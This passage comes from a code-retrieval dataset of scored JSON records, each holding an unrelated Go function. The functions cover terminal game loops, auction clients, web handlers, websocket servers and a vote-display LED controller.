error\n\t\t\tif len(inputQueue) > 0 {\n\t\t\t\tr = rune(inputQueue[0])\n\t\t\t\tinputQueue = inputQueue[1:]\n\t\t\t} else {\n\t\t\t\tr, err = tty.ReadRune()\n\t\t\t}\n\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatal(err)\n\t\t\t}\n\t\t\tfmt.Fprintf(outTTY, \"%c\", r)\n\n\t\t\tb := byte(r)\n\t\t\tif b == 13 {\n\t\t\t\tb = 10\n\t\t\t}\n\t\t\tinChan <- fmt.Sprintf(\"%d\", b)\n\n\t\tcase output := <-outChan:\n\n\t\t\tv, e := strconv.Atoi(output)\n\t\t\tif e != nil {\n\t\t\t\tpanic(e)\n\t\t\t}\n\n\t\t\tr := rune(v)\n\n\t\t\tif r == 10 {\n\t\t\t\t//computer.Save(\"./game.json\")\n\t\t\t}\n\n\t\t\tfmt.Fprintf(outTTY, \"%c\", r)\n\n\t\t\tif bot != nil {\n\t\t\t\tbot.OutputByte(byte(r))\n\t\t\t\tcmds := bot.GetCurrentCommands()\n\t\t\t\tif len(cmds) > 0 {\n\t\t\t\t\tfor _, cmd := range cmds {\n\t\t\t\t\t\tinputQueue = append(inputQueue, []byte(cmd)...)\n\t\t\t\t\t\tinputQueue = append(inputQueue, byte(10))\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tcomputer.OutputProcessed()\n\n\t\tcase <-quitChan:\n\t\t\tfmt.Println(\"game exited\")\n\t\t\tbreak programLoop\n\n\t\t}\n\t}\n\n\tclose(inChan)\n\tclose(outChan)\n\tclose(quitChan)\n\n}", "title": "" }, { "docid": "2d361cd993a5da25fe61706c489b7b23", "score": "0.47311056", "text": "func (c *Client) Exec() {\n\n\tgo c.receiveMessage()\n\tgo c.demadeReq()\n\n\tvar input string\n\tunique := false\n\tfor unique==false {\n\t\tfmt.Scanln(&input)\n\t\tif runtime.GOOS == \"windows\" {\n\t\t\tc.user = strings.TrimRight(input, \"\\r\\n\")\n\t\t} else {\n\t\t\tc.user = strings.TrimRight(input, \"\\n\")\n\t\t}\n\n\t\tc.demandeSectionCritique()\n\t\tif !c.checkIfUserIsNotUnique(c.user) {\n\t\t\tmessage := []string{config.ADD_USER, fmt.Sprint(c.user)}\n\t\t\tc.chanToMutex <- strings.Join(message, \",\")\n\t\t} else {\n\t\t\tprintln(\"user not unique\")\n\t\t}\n\t\tc.relacherSectionCritique()\n\n\t}\n\tprint(menu())\n\tfmt.Scanln(&input)\n\tfor input != \"exit\" {\n\t\tswitch input {\n\t\tcase \"1\":\n\t\t\tc.demandeSectionCritique()\n\t\t\tfor _, lot := range c.auctions {\n\t\t\t\tprintln(toStringLot(lot))\n\t\t\t}\n\t\t\tc.relacherSectionCritique()\n\t\tcase \"2\":\n\t\t\tidAuction := getValueFromUser(input, \"enter the auction id\")\n\t\t\tc.demandeSectionCritique()\n\t\t\tisFound, pos := c.search(idAuction)\n\t\t\tc.relacherSectionCritique()\n\t\t\tif isFound == true {\n\t\t\t\tnewValue := getValueFromUser(input, \"How much to bid?\")\n\t\t\t\tintNewValue, newValueErr := strconv.Atoi(newValue)\n\t\t\t\tif newValueErr == nil {\n\t\t\t\t\tc.demandeSectionCritique()\n\t\t\t\t\tif intNewValue > c.auctions[pos].Price {\n\t\t\t\t\t\tprintln(\"You're winning the auction\")\n\t\t\t\t\t\tc.subscriptions = append(c.subscriptions, Auction.Subscription{\n\t\t\t\t\t\t\tAuction: c.auctions[pos],\n\t\t\t\t\t\t})\n\t\t\t\t\t\tfor _, item := range c.subscriptions {\n\t\t\t\t\t\t\tif item.Auction.IdName == c.auctions[pos].IdName {\n\t\t\t\t\t\t\t\tprintln(\"new winning for the auction : \" + item.Auction.Nom + \" id : \" + item.Auction.IdName)\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tmessage := []string{config.NOTIFY_SUBSCRIBED, fmt.Sprint(idAuction)}\n\t\t\t\t\t\t\tc.chanToMutex <- strings.Join(message, \",\")\n\t\t\t\t\t\t}\n\t\t\t\t\t\tc.auctions[pos].Winner = c.user\n\t\t\t\t\t\tmessage := []string{config.CHANGE_WINNER, fmt.Sprint(c.user), fmt.Sprint(c.auctions[pos].IdName)}\n\t\t\t\t\t\tc.chanToMutex <- strings.Join(message, \",\")\n\t\t\t\t\t\tc.auctions[pos].Price = intNewValue\n\t\t\t\t\t\tmessage = []string{config.CHANGE_PRICE, fmt.Sprint(intNewValue), fmt.Sprint(c.auctions[pos].IdName)}\n\t\t\t\t\t\tc.chanToMutex <- strings.Join(message, \",\")\n\t\t\t\t\t}\n\t\t\t\t\tc.relacherSectionCritique()\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tprintln(\"id not found\")\n\t\t\t}\n\t\tcase \"3\":\n\t\t\tprintln(\"1 : subscribe to an auction by id\\n\" +\n\t\t\t\t\"2 : subscribe to all new auctions\\n\" +\n\t\t\t\t\"3 : unsubscribe to an auction by id\\n\" +\n\t\t\t\t\"4 : unsubscribe to all new auctions\\n\")\n\t\t\tfmt.Scanln(&input)\n\t\t\tswitch input {\n\t\t\tcase \"1\":\n\t\t\t\tidAuction := getValueFromUser(input, \"enter the auction id\")\n\t\t\t\tc.demandeSectionCritique()\n\t\t\t\tisFound, pos := c.search(idAuction)\n\t\t\t\tc.relacherSectionCritique()\n\t\t\t\tif isFound == true {\n\t\t\t\t\tc.demandeSectionCritique()\n\t\t\t\t\tc.subscriptions = append(c.subscriptions, Auction.Subscription{\n\t\t\t\t\t\tAuction: c.auctions[pos],\n\t\t\t\t\t})\n\t\t\t\t\tc.relacherSectionCritique()\n\t\t\t\t} else {\n\t\t\t\t\tprintln(\"id not found\")\n\t\t\t\t}\n\t\t\tcase \"2\":\n\t\t\t\tc.newAuction = true\n\t\t\tcase \"3\":\n\t\t\t\tidAuction := getValueFromUser(input,\"enter the auction id\")\n\t\t\t\tc.demandeSectionCritique()\n\t\t\t\tisFound, pos := c.search(idAuction)\n\t\t\t\tc.relacherSectionCritique()\n\t\t\t\tif isFound == true {\n\t\t\t\t\tc.demandeSectionCritique()\n\t\t\t\t\tfor _, item := range c.subscriptions {\n\t\t\t\t\t\tif item.Auction.IdName == c.auctions[pos].IdName {\n\t\t\t\t\t\t\tc.removeSubscription(item)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tc.relacherSectionCritique()\n\t\t\t\t} else {\n\t\t\t\t\tprintln(\"id not found\")\n\t\t\t\t}\n\t\t\tcase \"4\":\n\t\t\t\tc.newAuction = false\n\t\t\tdefault:\n\t\t\t}\n\t\tcase \"4\":\n\t\t\tauctionName := getValueFromUser(input, \"enter auction name\")\n\t\t\tvalMin, errValMin := strconv.Atoi(getValueFromUser(input, \"enter bid starting price\"))\n\t\t\ttemps, errTemps := strconv.Atoi(getValueFromUser(input, \"enter time the auction may last in minutes\"))\n\n\t\t\ttime := time.Now().Add(time.Duration(temps*6e10))\n\t\t\tc.demandeSectionCritique()\n\t\t\tif errTemps == nil && errValMin == nil {\n\t\t\t\ttoAdd := Auction.Auction{\n\t\t\t\t\tNom: auctionName,\n\t\t\t\t\tIdName: strconv.Itoa(c.auctionIds),\n\t\t\t\t\tTemps: time,\n\t\t\t\t\tPrice:\t\t valMin,\n\t\t\t\t\tProvider: c.user,\n\t\t\t\t\tWinner:\t\t \"\",\n\t\t\t\t}\n\t\t\t\t// subscription for the vendor\n\t\t\t\tc.subscriptions = append(c.subscriptions, Auction.Subscription{\n\t\t\t\t\tAuction: toAdd,\n\t\t\t\t})\n\t\t\t\t// subscriptions for the subscribed to all new auctions\n\t\t\t\t/*\n\t\t\t\tfor _, item := range c.newAuction {\n\t\t\t\t\tprintln(\"new auction! : \" + toAdd.Nom + \" id : \" + toAdd.IdName)\n\t\t\t\t}*/\n\t\t\t\tmessage := []string{config.ADD_AUCTION, fmt.Sprint(auctionName), fmt.Sprint(c.auctionIds),\n\t\t\t\t\tfmt.Sprint(temps), fmt.Sprint(valMin), fmt.Sprint(c.user),fmt.Sprint(\"\")}\n\t\t\t\tc.chanToMutex <- strings.Join(message, \",\")\n\t\t\t\tmessage = []string{config.INCREMENT_AUCTION_IDS}\n\t\t\t\tc.chanToMutex <- strings.Join(message, \",\")\n\t\t\t\tmessage = []string{config.NOTIFY_NEWAUCTION, fmt.Sprint(auctionName)}\n\t\t\t\tc.chanToMutex <- strings.Join(message, \",\")\n\t\t\t\tc.relacherSectionCritique()\n\t\t\t}\n\t\tdefault :\n\t\t\tprintln(\"wrong entry\")\n\t\t}\n\t\tprintln(menu())\n\t\tfmt.Scanln(&input)\n\t}\n\n}", "title": "" }, { "docid": "9e2e8a63ee6d6cabbc9bfa9c4088912b", "score": "0.47288808", "text": "func jsonBot(w http.ResponseWriter, req *http.Request) {\n\tnumber := req.FormValue(\"limit\") //read the limit from the request\n\n\tclient, err := redis.Dial(\"tcp\", \"localhost:6379\")\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t} else {\n\t\tdefer client.Close()\n\t}\n\n\tresponse := client.Cmd(\"ZRANGEBYSCORE\", \"popularity\", \"-inf\", \"+inf\", \"WITHSCORES\", \"LIMIT\", \"0\", number)\n\tlist, _ := response.List()\n\n\tencoder := json.NewEncoder(w)\n\tencoder.Encode(list)\n}", "title": "" }, { "docid": "ce703364acf780fe7824e6c3df44c660", "score": "0.4720319", "text": "func Index(createAPIEndpoint string) string {\n\treturn `\n\t<!DOCTYPE html>\n\t<html>\n\t<body>\n\n\t<div style=\"width:600px; margin:0 auto;display:flex;justify-content:center;\" id=\"container\">\n\t\t<div id=\"create\">\n\t\t\t<h2>Enter your secret</h2>\n\t\t\t<textarea id=\"input_secret\" rows=\"4\" cols=\"50\"></textarea>\n\t\t <button type=\"button\" onclick=\"create()\">Submit</button>\n\t\t</div>\n\t</div>\n\t<div style=\"width:600px; margin:0 auto;display:flex;justify-content:center;\">\n\t\t<p id=\"generated_secret_id\"></p>\n\t</div>\n\n\t</body>\n\t<script>\n\t function create() {\n\t var xhttp = new XMLHttpRequest();\n\t\t\tvar secret_text = document.getElementById(\"input_secret\").value;\n\t\t\tif (secret_text.indexOf(\"\\n\") == -1) {\n\t\t\t\tencoding = \"utf-8\"\n\t\t\t} else {\n\t\t\t\tsecret_text = btoa(secret_text)\n\t\t\t\tencoding = \"base64\"\n\t\t\t}\n\t xhttp.onreadystatechange = function() {\n\t if (this.readyState == 4 && this.status == 200) {\n\t document.getElementById(\"generated_secret_id\").innerHTML = JSON.parse(this.responseText).url;\n\t }\n\t };\n\t xhttp.open(\"POST\", \"` + createAPIEndpoint + `\", true);\n\t xhttp.send(` + \"`\" + `{\"content\": \"${secret_text}\", \"encoding\": \"${encoding}\"}` + \"`\" + `);\n\t }\n\t</script>\n\t</html>\n\t`\n}", "title": "" }, { "docid": "91e7984b9c27e8deeaad7607454d4267", "score": "0.47201496", "text": "func runServer() {\n\n\t//tmpl := template.Must(template.ParseFiles(\"forms.html\"))\n\n\t// Loading from an embedded form.\n\ttmpl, _ := template.New(\"forms.html\").Parse(form)\n\n\thttp.HandleFunc(\"/\", func(w http.ResponseWriter, r *http.Request) {\n\n\t\tif r.Method != http.MethodPost {\n\t\t\ttmpl.Execute(w, nil)\n\t\t\treturn\n\t\t}\n\n\t\tworkingDay := WorkingDay{\n\t\t\tClockIn: r.FormValue(\"clock_in\"),\n\t\t\tStartBreak: r.FormValue(\"start_break\"),\n\t\t\tEndBreak: r.FormValue(\"end_break\"),\n\t\t\tClockOut: r.FormValue(\"clock_out\"),\n\t\t}\n\n\t\tworkingDay.ValidateAndUpdate()\n\n\t\tdata := struct {\n\t\t\tGotData bool\n\t\t\tDay WorkingDay\n\t\t}{\n\t\t\tGotData: true,\n\t\t\tDay: workingDay,\n\t\t}\n\n\t\ttmpl.Execute(w, data)\n\n\t})\n\n\tport := \"8080\"\n\tfmt.Println(\"Running on localhost:\" + port)\n\thttp.ListenAndServe(\":\"+port, nil)\n\n}", "title": "" }, { "docid": "b9f34211c7ac25a53c1314e844329b8b", "score": "0.47009572", "text": "func NewGame(w http.ResponseWriter , r *http.Request) {\n \n}", "title": "" }, { "docid": "f13379d30c7acdedb610ca389a4a441b", "score": "0.46989205", "text": "func main() {\n\n\targs := os.Args\n\tif len(args) != 2 {\n\t\tfmt.Println(\n\t\t\t`Error calling legopic\nUsage: legopic webport\nExample: legopic 8100`,\n\t\t)\n\t\treturn\n\t}\n\tserver.WEBPORT = args[1]\n\n\tserver.StartWeb()\n\n\tfor {\n\t\treader := bufio.NewReader(os.Stdin)\n\t\tfmt.Print(\"Legopic console: \")\n\t\ts, _ := reader.ReadString('\\n')\n\t\tcommand := strings.Fields(s)\n\t\tif len(command) >= 1 {\n\t\t\tswitch command[0] {\n\t\t\tcase \"exit\":\n\t\t\t\tfmt.Println(\"Have a nice day!\")\n\t\t\t\tos.Exit(0)\n\t\t\tdefault:\n\t\t\t\tfmt.Printf(\"Unknown command %v\\n\", command)\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "2cb05f85c7fa9e44e59090c019b31979", "score": "0.46938258", "text": "func runMatchLoop(c *http.Client, ps net.PlayerSession, ms net.MatchSession) error {\n\tconn, err := ws.CreateSession()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor {\n\t\tmsgID := getUserAction()\n\t\tmsg, err := ws.NewMessage(msgID, ps, ms)\n\n\t\tif err != nil {\n\t\t\treturn err\n\t\t} else if err = conn.WriteJSON(msg); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tvar data []byte\n\t\t_, data, err = conn.ReadMessage()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif msgID == ws.PlayerListMessageID {\n\t\t\tprintPlayerList(ms.ID.Type, data)\n\t\t} else if msgID == ws.QuitMessageID {\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "fbefb73754cdec6e80130107d8ee8a8b", "score": "0.46876884", "text": "func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {\n\t// Retrieve the current day of the week.\n\tday := h.Now().Format(\"Monday\")\n\n\t// Generate an adjective for the day.\n\tadj, err := h.Generator.Generate(day)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\t// Write phrase to output.\n\tfmt.Fprintln(w, \"<html>\")\n\tfmt.Fprintln(w, \"<style> h1 { font-size: 84px; }\")\n\tfmt.Fprintln(w, \"h1 { font-size: 84px; }\")\n\tfmt.Fprintln(w, \"a { color: black; text-decoration: none; }\")\n\tfmt.Fprintln(w, \"a:hover { text-decoration: underline; }\")\n\tfmt.Fprintln(w, \"</style>\")\n\tfmt.Fprintln(w, \"<body>\")\n\tfmt.Fprintln(w, \"<center>\")\n\tfmt.Fprintln(w, \" <h1>\")\n\tfmt.Fprintf(w, \" <a href=\\\"http://dictionary.reference.com/browse/%s\\\" target=\\\"_blank\\\">\\n\", adj)\n\tfmt.Fprintf(w, \" Have a<br>%s %s!\\n\", initialCase(adj), day)\n\tfmt.Fprintf(w, \" </a>\\n\")\n\tfmt.Fprintln(w, \" </h1>\")\n\tfmt.Fprintln(w, \"</center>\")\n\tfmt.Fprintln(w, \"</body>\")\n\tfmt.Fprintln(w, \"</html>\")\n}", "title": "" }, { "docid": "e4a382ea878929b6109361a23e75c733", "score": "0.46854597", "text": "func SimulateGame(w http.ResponseWriter, r *http.Request) {\n\tgs := stonks.NewGame(10, 4, []string{\n\t\t\"Eggs\",\n\t\t\"Resin\",\n\t\t\"Chat\",\n\t\t\"Canola\",\n\t\t\"RURURU\",\n\t\t\"Gold Chains\",\n\t})\n\n\tgs.AddPlayer(\"ho borvat\")\n\tgs.AddPlayer(\"michaelalfox\")\n\tgs.AddPlayer(\"dumb dog\")\n\tgs.AddPlayer(\"dan gheesling\")\n\n\tfor i := 0; i < 4; i++ {\n\t\terr := gs.Transact(gs.Players[i].ID, gs.Stonks[i].ID, 500)\n\t\tif err != nil {\n\t\t\tlog.Error().Err(err)\n\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t}\n\t}\n\n\tw.Header().Add(\"Access-Control-Allow-Origin\", \"http://localhost:9000\")\n\n\terr := json.NewEncoder(w).Encode(gs)\n\tif err != nil {\n\t\tlog.Error().Err(err)\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t}\n}", "title": "" }, { "docid": "309bddebd8592bfa53cb7dbadb306a67", "score": "0.46817648", "text": "func ssrEnterLobby(w http.ResponseWriter, r *http.Request) {\n\tlobby, err := getLobby(r)\n\tif err != nil {\n\t\tuserFacingError(w, err.Error())\n\t\treturn\n\t}\n\n\t// TODO Improve this. Return metadata or so instead.\n\tuserAgent := strings.ToLower(r.UserAgent())\n\tif !(strings.Contains(userAgent, \"gecko\") || strings.Contains(userAgent, \"chrom\") || strings.Contains(userAgent, \"opera\") || strings.Contains(userAgent, \"safari\")) {\n\t\tuserFacingError(w, \"Sorry, no robots allowed.\")\n\t\treturn\n\t}\n\n\t//FIXME Temporary\n\tif strings.Contains(userAgent, \"iphone\") || strings.Contains(userAgent, \"android\") {\n\t\tuserFacingError(w, \"Sorry, mobile is currently not supported.\")\n\t\treturn\n\t}\n\n\tplayer := getPlayer(lobby, r)\n\n\tpageData := &LobbyData{\n\t\tLobbyID: lobby.ID,\n\t\tDrawingBoardBaseWidth: DrawingBoardBaseWidth,\n\t\tDrawingBoardBaseHeight: DrawingBoardBaseHeight,\n\t}\n\n\tvar templateError error\n\n\tif player == nil {\n\t\tif len(lobby.Players) >= lobby.MaxPlayers {\n\t\t\tuserFacingError(w, \"Sorry, but the lobby is full.\")\n\t\t\treturn\n\t\t}\n\n\t\tvar clientsWithSameIP int\n\t\trequestAddress := getIPAddressFromRequest(r)\n\t\tfor _, otherPlayer := range lobby.Players {\n\t\t\tif otherPlayer.GetLastKnownAddress() == requestAddress {\n\t\t\t\tclientsWithSameIP++\n\t\t\t\tif clientsWithSameIP >= lobby.ClientsPerIPLimit {\n\t\t\t\t\tuserFacingError(w, \"Sorry, but you have exceeded the maximum number of clients per IP.\")\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tnewPlayer := lobby.JoinPlayer(getPlayername(r))\n\n\t\t// Use the players generated usersession and pass it as a cookie.\n\t\thttp.SetCookie(w, &http.Cookie{\n\t\t\tName: \"usersession\",\n\t\t\tValue: newPlayer.GetUserSession(),\n\t\t\tPath: \"/\",\n\t\t\tSameSite: http.SameSiteStrictMode,\n\t\t})\n\t} else {\n\t\tif player.Connected && player.GetWebsocket() != nil {\n\t\t\tuserFacingError(w, \"It appears you already have an open tab for this lobby.\")\n\t\t\treturn\n\t\t}\n\t\tplayer.SetLastKnownAddress(getIPAddressFromRequest(r))\n\t}\n\n\ttemplateError = lobbyPage.ExecuteTemplate(w, \"lobby.html\", pageData)\n\tif templateError != nil {\n\t\tpanic(templateError)\n\t}\n}", "title": "" }, { "docid": "23b5e72f213237aaa5f98b2de25399ab", "score": "0.4678069", "text": "func main() {\n\n\t//-------------------------\n\t// 引数のパース\n\tflag.Parse()\n\t// Required parameter\n\t// - [Can Go's `flag` package print usage? - Stack Overflow](https://stackoverflow.com/questions/23725924/can-gos-flag-package-print-usage)\n\tif *paramsHelp {\n\t\tflag.Usage()\n\t\tos.Exit(0)\n\t}\n\n\tfinish := make(chan bool)\n\n\tserver1 := http.NewServeMux()\n\t// - [web applications - How do I serve CSS and JS in Go Lang - Stack Overflow](https://stackoverflow.com/questions/43601359/how-do-i-serve-css-and-js-in-go-lang)\n\tserver1.HandleFunc(\"/messages\", func(w http.ResponseWriter, r *http.Request) {\n\t\ttime.Now()\n\t\tresponses := []Response{\n\t\t\tNewResponse(\"111\", \"This is 111 message\", time.Now()),\n\t\t\tNewResponse(\"222\", \"This is 222 message\", time.Now()),\n\t\t}\n\t\tjson.NewEncoder(w).Encode(responses)\n\t})\n\n\tserver2 := http.NewServeMux()\n\tserver2.HandleFunc(\"/messages\", func(w http.ResponseWriter, r *http.Request) {\n\t\ttime.Now()\n\t\tresponses := []Response{\n\t\t\tNewResponse(\"aaa\", \"This is aaa message\", time.Now()),\n\t\t\tNewResponse(\"bbb\", \"This is bbb message\", time.Now()),\n\t\t}\n\t\tjson.NewEncoder(w).Encode(responses)\n\t})\n\n\tgo func() {\n\t\tport := \":\" + strconv.Itoa(*paramsPort1)\n\t\tfmt.Printf(\"server1 %s\\n\", port)\n\t\thttp.ListenAndServe(port, server1) //監視するポートを設定します。\n\t}()\n\n\tgo func() {\n\t\tport := \":\" + strconv.Itoa(*paramsPort2)\n\t\tfmt.Printf(\"server2 %s\\n\", port)\n\t\thttp.ListenAndServe(port, server2)\n\t}()\n\n\t// - [Go の並行処理 - Block Rockin’ Codes](http://jxck.hatenablog.com/entry/20130414/1365960707)\n\t<-finish\n}", "title": "" }, { "docid": "3e1f43e2903feadcc2940b220beea490", "score": "0.46729434", "text": "func Handle(w http.ResponseWriter, r *http.Request) {\n\tm := r.URL.Query()\n\n\tresult := m.Get(\"result\")\n\tif result == \"\" {\n\t\thttp.Error(w, \"Bad Request: missing parameter \\\"result\\\"\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tkey, err := datastore.DecodeKey(result)\n\tif err != nil {\n\t\thttp.Error(w, \"Bad Request: cannot decode \\\"result\\\"\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tws, err := upgrader.Upgrade(w, r, nil)\n\tif err != nil {\n\t\t// NOTE: Returning an HTTP error is done by upgrader.\n\t\treturn\n\t}\n\n\tid := ktoi(key)\n\n\tif _, ok := conns.m[id]; ok {\n\t\tdie(id, errors.New(\"ws: duplicate websocket opened\"))\n\t}\n\n\tconns.Lock()\n\tconns.m[ktoi(key)] = ws\n\tconns.Unlock()\n\n\t// Advance deadline if we receive a pong.\n\t// TODO(flowlo): maybe check whether the contents of the\n\t// message actually match those of a pending ping.\n\tws.SetPongHandler(func(s string) error {\n\t\tlog.Debugf(appengine.BackgroundContext(), \"ws: pong %x for %s(%d %q) sent\", s, id.kind, id.intID, id.stringID)\n\t\treturn ws.SetReadDeadline(time.Now().Add(pongWait))\n\t})\n\n\t// Periodically ping the client, so the pong handler will\n\t// advance the read deadline.\n\tgo ping(id)\n\n\t// Read infinitely. This is needed because otherwise\n\t// our pong handler will never be triggered.\n\t// Although we discard all application messages,\n\t// errors need to be handled, i.e. in case the\n\t// connection dies and times out, because no pong\n\t// was reveived within pongWait.\n\tfor {\n\t\tws, ok := lookup(id)\n\t\tif !ok {\n\t\t\treturn\n\t\t}\n\n\t\t_, _, err := ws.ReadMessage()\n\t\tif err != nil {\n\t\t\tdie(id, err)\n\t\t\treturn\n\t\t}\n\t}\n}", "title": "" }, { "docid": "c8a68cacfbba5f7ee727b0baffa43e71", "score": "0.4670847", "text": "func Api(dbExecutor sqlite.DatabaseExecutor) *api.WebServer {\n\tbetMapper := newBetMapper()\n\tbetRepository := newBetRepository(dbExecutor)\n\tbetService := newBetService(betRepository, betMapper)\n\tcontroller := newController(betService)\n\n\treturn api.NewServer(config.Cfg.Api.Port, config.Cfg.Api.ReadWriteTimeoutMs, controller)\n}", "title": "" }, { "docid": "adc30be41af29138350a9aedbe63db73", "score": "0.46661434", "text": "func main() {\n\n\t// ordered list of vote station addresses & last beats\n\tvotestns := []int{101, 102, 103}\n\tvotestnbeats := make([]int64, len(votestns))\n\n\t// open file to log word & vote events\n\t// create wrdr to manage cycling words & writing events to json logfile\n\tf, err := os.OpenFile(\"wordlog.json\", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\twrdr := NewWrdr(votestns, f)\n\tdefer f.Close() // close word log file on exit\n\n\t// read led position file and create bllnkr with data\n\tleddata, err := ioutil.ReadFile(\"led_locations.json\")\n\tfmt.Println(len(leddata))\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tblnkr, err := NewBlnkr(leddata)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tfmt.Println(\"lamps:\")\n\tfor ip, lmp := range blnkr.Lmps {\n\t\tfmt.Println(ip)\n\t\tfor _, p := range lmp.Pnts {\n\t\t\tfmt.Println(p)\n\t\t}\n\t\tfmt.Println()\n\t}\n\n\t// buffered channel to pass vote colors to blnkr\n\trgbch := make(chan VtClr, 64)\n\n\t// buffered channel to receive udp teensymsgs\n\ttch := make(chan TeensyMsg, 64)\n\n\t// buffered channel to receive websocket data clients\n\tdch := make(chan DataClient, 16)\n\n\t// index of connected clients\n\tdcdx := make(map[string]DataClient)\n\n\t// channel to trigger word cycling\n\tcych := make(chan bool)\n\tgo Metronome(cych, CycleDelay)\n\n\t// listen for teensy messages on udp port 3333 and pass them up channel\n\tgo TeensySocket(tch)\n\n\t// listen for data clients on ws port 8888 and pass them up channel\n\tgo DataSocket(dch, tch)\n\n\t// pass color channel to blnkr udpcast routine\n\tgo blnkr.Cast(rgbch)\n\n\t// loop over channels & handle messages\n\tfor {\n\t\tselect {\n\n\t\t// incoming teensy message channel\n\t\tcase tm := <-tch:\n\n\t\t\t// log message\n\t\t\tlog.Printf(\"received: %+v\", tm)\n\n\t\t\tswitch tm.Flavor {\n\n\t\t\tcase \"touch_beat\": // log heartbeat\n\t\t\t\tvar sdx = int(-1)\n\t\t\t\tfor i, src := range votestns {\n\t\t\t\t\tif src == tm.Source {\n\t\t\t\t\t\tsdx = i\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif sdx < 0 {\n\t\t\t\t\tlog.Printf(\"ERROR: unrecognized touch beat source '%v'\\n\", tm.Source)\n\t\t\t\t} else {\n\t\t\t\t\tvotestnbeats[sdx] = NowMs() // set last beat time to now\n\t\t\t\t}\n\n\t\t\tcase \"start_touch\", \"end_touch\": // broadcast to data clients\n\t\t\t\twrdp, err := wrdr.LogTouch(tm.Source, tm.Flavor, tm.Choice)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Printf(\"ERROR: cant log touch: %v\", err)\n\t\t\t\t} else if tm.Flavor == \"end_touch\" {\n\t\t\t\t\tselect {\n\t\t\t\t\tcase rgbch <- VtClr{tm.Source, wrdp.Clr}:\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tlog.Printf(\"ERROR: rgbch full!\")\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tdm := DataMsg{\n\t\t\t\t\tSource: tm.Source, \n\t\t\t\t\tFlavor: tm.Flavor, \n\t\t\t\t\tChoice: tm.Choice,\n\t\t\t\t\tWord: wrdp.Str,\n\t\t\t\t\tColor: []int{int(wrdp.Clr[0]), int(wrdp.Clr[1]), int(wrdp.Clr[2])},\n\t\t\t\t}\n\t\t\t\tbcastMsg(dm, dcdx)\n\t\t\t}\n\n\t\t\tfmt.Printf(\"@\")\n\n\t\t// incoming data client channel\n\t\tcase dc := <-dch:\n\t\t\tlog.Printf(\"new data client at %v\", dc.Dest)\n\t\t\tdcdx[dc.Dest] = dc // append data client to index\n\n\t\t\t// initialize data client with current words\n\t\t\tfor i, wrd := range wrdr.Wrds {\n\t\t\t\tsrc, chc := wrdr.DeDex(i)\n\t\t\t\tdm := DataMsg{\n\t\t\t\t\tSource: src,\n\t\t\t\t\tChoice: chc,\n\t\t\t\t\tFlavor: \"new_word\",\n\t\t\t\t\tWord: wrd.Str,\n\t\t\t\t\tColor: []int{int(wrd.Clr[0]), int(wrd.Clr[1]), int(wrd.Clr[2])},\n\t\t\t\t}\n\t\t\t\tselect {\n\t\t\t\tcase dc.MsgCh <- dm:\n\t\t\t\tdefault:\n\t\t\t\t\tlog.Printf(\"ERROR: msgch for %v full on init!?\", dc.Dest)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfmt.Printf(\"$\")\n\n\t\t// cycle words at intervals\n\t\tcase _ = <-cych:\n\t\t\tfmt.Printf(\"[\")\n\t\t\tdm := wrdr.CycleWrd() // pick a new word & gen message\n\t\t\tbcastMsg(dm, dcdx) // broadcast message to data clients\n\t\t\tfmt.Printf(\"]\")\n\t\t}\n\t}\n}", "title": "" }, { "docid": "444f1fd0f8afd8d09f9fc8e7e7eef40f", "score": "0.46483433", "text": "func httpRequestHandler(w http.ResponseWriter, r *http.Request) {\n\n\terr := r.ParseForm()\n\tif err != nil {\n\t\tfmt.Fprintf(w, \"%s\", err.Error())\n\t}\n\n\t//Prints webpage\n\tfmt.Fprintf(w, \"<html><form action=\\\"\\\" method=\\\"post\\\"><input type=\\\"text\\\" name=\\\"hash\\\"><input type=\\\"submit\\\"></form></html>\")\n\n\t//Retrive value from form of hash\n\tstrHash := r.Form.Get(\"hash\")\n\n\t//If hash exist\n\tif len(strHash) == 0 {\n\t\treturn\n\t}\n\n\tworder, err := wordlist.New(os.Getenv(\"GOPATH\") + \"/src/github.com/karlek/gohash/a.txt\")\n\tif err != nil {\n\t\tfmt.Println(\"New: \", err)\n\t}\n\n\thash, err := str2hash.New(strHash)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n\n\tc := make(chan string)\n\n\tgo worder.Check(hash, c)\n\tfmt.Println(<-c)\n}", "title": "" }, { "docid": "de274ec0e9657a060e4a25c366512958", "score": "0.46481538", "text": "func main(){\r\n\te:= echo.New() //initation of echo object\r\n\r\n\te.POST(\"/addbook\",addBooks)\r\n\te.POST(\"/addpaper\",addPapers)\r\n\te.POST(\"/addcd\",addCDs)\r\n\te.Start(\":8000\") //start the server on 8000 port\r\n}", "title": "" }, { "docid": "5585701eedd36309b5d45237ae414521", "score": "0.46382314", "text": "func main() {\n\t// serve the client.html\n\thttp.Handle(\"/static/\", http.StripPrefix(\"/static\", 